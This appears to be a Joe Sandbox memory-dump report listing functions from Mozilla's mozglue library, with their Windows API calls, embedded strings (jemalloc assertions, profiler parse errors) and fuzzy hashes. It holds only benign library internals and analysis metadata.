Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction ID: 9e04d2b8b17a31effdaa4c5986ea67380293e502026a49a2b90f09ccd7402db7
Opcode Fuzzy Hash: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction Fuzzy Hash: AAB2CF716067418FD728CF28C590716BBE5BF86328F28C66CE86A8FB95D771E840CB51

Function 6C9A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C9A5AC8, 6C9A5CBB
expected a Time entry, xrefs: 6C9A5CB6
data, xrefs: 6C9A6131
expected a Count entry, xrefs: 6C9A5AC3
schema, xrefs: 6C9A606D
name, xrefs: 6C9A5E79, 6C9A5E8F

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction ID: 1c234d7b220db69f3c01c844945cfec444ea8526abe87858f7bb1cec0a8cb3ad
Opcode Fuzzy Hash: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction Fuzzy Hash: 62927DB1A087418FD724CF68C49079ABBF1BFD9308F15891DE5999B751DB30E80ACB92

Function 6C9A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9A378D
get , xrefs: 6C9A3205
set , xrefs: 6C9A36EC

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction ID: fcf7d2da83b91621df7f831611866f776a009c8b83a0516a2479a48f3dd55743
Opcode Fuzzy Hash: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction Fuzzy Hash: E1326AB02083818FD724CF64C4906AFBBE6BFD9318F55881DE99987751DB30E94ACB52

Function 6C997E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C997E88
data, xrefs: 6C998280, 6C9983E1
schema, xrefs: 6C9981E3, 6C998311
name, xrefs: 6C997ECF, 6C998335

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction ID: 0096d35f1d6d22ef1c4ed2c2cd64896e77ab5ea3b4a8f3be6cbd99faca9c9ffa
Opcode Fuzzy Hash: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction Fuzzy Hash: 20E170B2B043408BD710CF69C84065BF7E9BFA5318F158A2DE895E7790DB74ED098B92

Function 6C97D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D6A6
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D712
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D7EA

Strings

<jemalloc>, xrefs: 6C97D827
: (malloc) Error initializing arena, xrefs: 6C97D82C

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction ID: 96a4a64752f230c60a89d5c8778f51b7235316e20478d82bbd114c534b5f7bec
Opcode Fuzzy Hash: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction Fuzzy Hash: C791E7B2A09B018FD764CF28C49032AB7F5FB89714F25892ED55AD7B80D730E840CBA1

Function 6C975E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2
memset.VCRUNTIME140(6C9B7765,000000E5,9DC09015), ref: 6C9761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C977652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9772F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C97730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C977BCD, 6C977C1F, 6C977C34, 6C9780FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9772E3
MOZ_CRASH(), xrefs: 6C977BA4

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction ID: 996fe5998ea9a9b1bee0d5018e925c198fdc4bebaa0f5af7f8f36df48f15f03a
Opcode Fuzzy Hash: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction Fuzzy Hash: 6533AB716067018FC329CF28C590715BBE2FF85328F29C6ADE9698B7A5D731E841CB61

Function 6C953480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C95350E
__Init_thread_footer.LIBCMT ref: 6C953522
__aulldiv.LIBCMT ref: 6C953552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C95357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953592

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

kernel32.dll, xrefs: 6C9534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C953508

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction ID: 46b725374db4dc12397a2a0e70679316c52db21473d490fd20276b4f68640038
Opcode Fuzzy Hash: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction Fuzzy Hash: 7731D371B0590A9BDF00DFB9C849AAE77B9FB86309F60441AF505B3A50DB30FA45CB60

Function 6C9B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4F2E
moz_xmalloc.MOZGLUE ref: 6C9B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52E6
Sleep.KERNEL32(00000010), ref: 6C9B5481
free.MOZGLUE(?), ref: 6C9B5498

Strings

(, xrefs: 6C9B5250

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction ID: e5d49cdbbb5d04a2e944e2b95479d29b7a345e8b047c2374482d56ad5b66e37a
Opcode Fuzzy Hash: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction Fuzzy Hash: 09F1B171A18F408FC716CF39C85162BB7F9AFE6284F158B2EF846A7651DB31D4428B81

Function 6C967810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C967885
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9678A5
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C9678AD
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C9678CD
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C96795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C967BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C967C82
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C967CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C967DAF

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction ID: ecca295668190f666a14f864ffc2310ca795c118f821cf80c2765144a7e92b00
Opcode Fuzzy Hash: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction Fuzzy Hash: 8B027371A0561A8FEB54CF19C984799B7B5FF48318F2582AAD809A7B41D734FE90CF80

Function 6C9B5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C95EE51,?), ref: 6C9B6046
OutputDebugStringA.KERNEL32(?,6C95EE51,?), ref: 6C9B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9D148E), ref: 6C9B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C95EE51,00000000,?), ref: 6C9B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B60C4

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction ID: e83a61adb8faa0f129dc917e8056994ea339a756d63e53bc2920b569d8aa904c
Opcode Fuzzy Hash: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction Fuzzy Hash: 7A21B771A002089FDF106F29DC49A9E7BB8FF45614F108428E85AA7240CB74F599CFE2

Function 6C9B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B707E

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B709C
LocalFree.KERNEL32(?), ref: 6C9B70AA

Strings

### ERROR: %s: %s, xrefs: 6C9B7087
(null), xrefs: 6C9B706A, 6C9B7083

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction ID: 8bbf44654074e7dbf7dcf084a49bffa414ed7ad72ff5fc0ecc293ef824396237
Opcode Fuzzy Hash: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction Fuzzy Hash: 7801F9B1A00104AFDB006BA4DC4ADAF7BBCEF49215F110425FA05B3241D631B958CBE1

Function 6C979E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C979EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C979F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C979F34
LeaveCriticalSection.KERNEL32(?), ref: 6C97A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97A8B1, 6C97A8D4, 6C97A8EF

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction ID: 94957523199309d73732ad4787889eb1afbbd32ec043a61a8dfd12eef386b337
Opcode Fuzzy Hash: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction Fuzzy Hash: 9A728C72A067118FD324CF28C540615FBE1BF89728F2AC7ADE8699B791D735E841CB90

Function 6C9A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A2C61

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A2E2D

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C9A2E3B
expected a Time entry, xrefs: 6C9A2E36
(root), xrefs: 6C9A354F

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction ID: 6db71ce32189a19d9db23119b6662487bea5f08fc53debd3939cd01c56360cc6
Opcode Fuzzy Hash: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction Fuzzy Hash: 9791DE70608B408FC724CF69C48469EF7F5AF99358F10491DE99A9BB91DB30D94ACB42

Function 6C97C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C97C317
MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction ID: 7fa5edbcc070eb5be9ebbf6d174c7c1676320848f468cb43dc99319330264d18
Opcode Fuzzy Hash: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction Fuzzy Hash: 9E52D03160A741CFD724CF18C4947AAB7E6FB8A318F24891DE8D687B81D735E845CB62

Function 6C9B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9B9F3D
__aulldiv.LIBCMT ref: 6C9B9F77
__aullrem.LIBCMT ref: 6C9B9F8C
__aulldiv.LIBCMT ref: 6C9BA023

Strings

-Infinity, xrefs: 6C9B9E60, 6C9B9E7B
NaN, xrefs: 6C9B9EAB

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

